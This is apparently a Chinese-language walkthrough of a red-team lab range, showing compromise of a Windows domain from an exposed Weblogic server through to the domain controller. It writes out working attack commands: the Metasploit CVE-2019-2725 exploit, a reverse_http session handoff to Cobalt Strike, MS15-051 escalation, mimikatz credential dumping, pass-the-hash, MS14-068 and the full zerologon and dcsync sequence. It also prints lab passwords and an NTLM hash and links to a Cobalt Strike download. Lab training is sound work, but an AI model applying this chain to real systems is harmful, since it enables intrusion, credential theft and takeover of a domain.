描述

本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX

  1. Bypass UAC
  2. Windows系统NTLM获取(理论知识:Windows认证)
  3. Access Token利用(MSSQL利用)
  4. WMI利用
  5. 网页代理,二层代理,特殊协议代理(DNS,ICMP)
  6. 域内信息收集
  7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
  8. 域凭证收集
  9. 后门技术(黄金票据/白银票据/Sid History/MOF)

环境说明

内网网段:10.10.10.1/24

防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):

1
2
deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24

配置信息

DC

IP:10.10.10.10

OS:Windows 2012(64)

应用:AD域

WEB

IP1:10.10.10.80

IP2:192.168.184.151

image-20220424205326863

OS:Windows 2008(64)

应用:Weblogic 10.3.6MSSQL 2008

注意:刚打开虚拟机时,需要恢复到快照V1.3,使用WEB\de1ay账户登录修改密码为123456@abc,登录后在C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录点击startWebLogic下开启weblogic服务

PC

IP1:10.10.10.201

IP2:192.168.184.152

OS:Windows 7(32)

应用:无

攻击机

IP:192.168.184.128

OS:kali

外网渗透

首先信息收集,利用nmap扫描

nmap 192.168.184.0/24,发现192.168.184.151是目标主机

image-20220424233339890

针对该目标进一步详细扫描nmap -sV -Pn 192.168.184.151 -p1-65535

发现在7001端口开放了weblogic服务

image-20220424233517838

到github下载WeblogicScan脚本来对目标主机进行漏洞检验(注意这里需要使用python3),检测存在CVE-2019-2725

image-20220425001513764

利用msf来getshell

1
2
search CVE-2019-2725
use 0

image-20220425202132538

1
2
3
4
5
set RHOSTS 192.168.184.151
set RPORT 7001
set LHOST 192.168.184.128
set target 1
show options

image-20220425202602002

1
run

得到会话

image-20220425202711409

信息收集

1
systeminfo

操作系统:win server 2008 r2

主机名:WEB

打补丁:[01]: KB2999226
[02]: KB958488
[03]: KB976902

image-20220425203639678

1
ipconfig /all

有两张网卡

10.10.10.80是内网网卡

192.168.184.151是可出网的网卡

image-20220425203116008

1
2
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组

image-20220425204236387

由于我们目前拿到的是一个本地用户,并不是域用户,所以没办法对域内信息进行收集,而且我们本地用户的权限也比较低

所以我把MSF委派给CS(便于后续的提权等相关操作)操作如下

现在CS端创建一个普通的监听

image-20220425212747693

之后通过msf的exploit/windows/local/payload_inject模块将session传给CS

1
2
3
4
5
6
7
8
9
10
11
use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set lport [端口号]

set lhost [MSFIP]

set session [sessionid]

run

委派成功

image-20220425213013606

接下来我们利用CS上的mimikatz来进行进一步信息收集,但mimikatz一般都需要system权限,所以我们还得先提权

使用CS中梼杌->权限提升->MS15-051来进行提权

提权成功

image-20220425213936834

接下来就可以使用mimikatz了

1
2
# 读取密码
mimikatz sekurlsa::logonpasswords

读出本机WEB域下用户de1ay的密码123456@abc

image-20220425214948274

还收集到登录过DC主机的域内(DE1AY)用户mssql的密码1qaz@WSX

image-20220426003353266

1
2
# 查看域用户
shell net user /domain

image-20220427132354442

同时上图还显示了DC.de1ay.com,说明域控主机名是DC,域名是de1ay.com

获取域控

PTH

通过收集到了域用户名(administrator)+收集到的哈希(161cff084477fe596a5db81874498a24)利用psexec进行对域控主机进行连接

image-20220427132855923

image-20220427132949382

成功获取域控主机的SYSTEM权限,最终目标达成

image-20220427133104694

MS14-068

参考:https://henshinhacks.blogspot.com/2015/02/windows-server-dc-ms14-068-vulnerability.html

1
MS14-068.exe -u de1ay@de1ay.com -p 1qaz@WSX -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d DC

image-20220428195556926

zerologon(CVE-2020-1472)

不是域用户的普通用户就能利用,利用效果:将域控主机administrator的密码置空即null,再利用mimikatz对administrator的ntml进行读取,再用psexec对域控主机进行连接,最后需要用SYSTM权限对置空密码重新赋值

之前nmap探针的时候WEB这台机器开放了3389这个端口,再利用mimikatz抓到的用户密码进行windows远程桌面登录

CS自带的mimikatz没有zerologon的利用模块,于是上传了一个github的最新版到WEB这台机器(其实我是命令打错了mimikatz打成minikatz,我的CS上的mimikatz有zerologon的利用QAQ)

接下来开始利用zerologon漏洞

目前是本地用户非管理员权限(非域用户)

1
2
3
4
5
6
7
8
9
10
11
12
# payload(cs中)
# 查看是否存在zerologon漏洞
mimikatz lsadump::zerologon /target:dc.de1ay.com /account:dc$

# zerologon漏洞利用
mimikatz lsadump::zerologon /target:dc.de1ay.com /account:dc$ /exploit

# 读取hash ntlm
mimikatz lsadump::dcsync /domain:de1ay.com /dc:DC /user:administrator /authuser:dc$ /authdomain:de1ay /authpassword:"" /authntlm

# 重新又设置密码
mimikatz lsadump::postzerologon /target:de1ay.com /account:dc$

image-20220427155143933

image-20220427155645635

image-20220427160501418

读取到域控administrator的ntlm是161cff084477fe596a5db81874498a24

这时候就可以利用psexec进行哈希传递对域控主机DC进行连接(注意这里psexec需要SYSTEM权限)

image-20220427161554169

之后域控这台主机就上线了,到此整个域环境就拿下了

image-20220427161712976

重新赋新的密码

1
mimikatz lsadump::postzerologon /target:de1ay.com /account:dc$

image-20220427171643451

域渗透相关命令

1
2
3
4
5
net view /domain //查看域
net user /domain //查看域用户
net group "domain computers" /domain //查看域内的主机
net group "domain controllers" /domain // 查看域控制器组
net group "domain admins" /domain //查看域管理员组

遇到的问题

在安装github上找的高版本CS时,服务端teamserver启动报错

解决:删除cobaltstrike.store文件

参考:https://github.com/k8gege/Aggressor/issues/5

资源

ATT&CK红队评估实战靶场二 下载密码:41y6

https://github.com/k8gege/Aggressor/releases/tag/cs 下拉到最下面,有cs的下载地址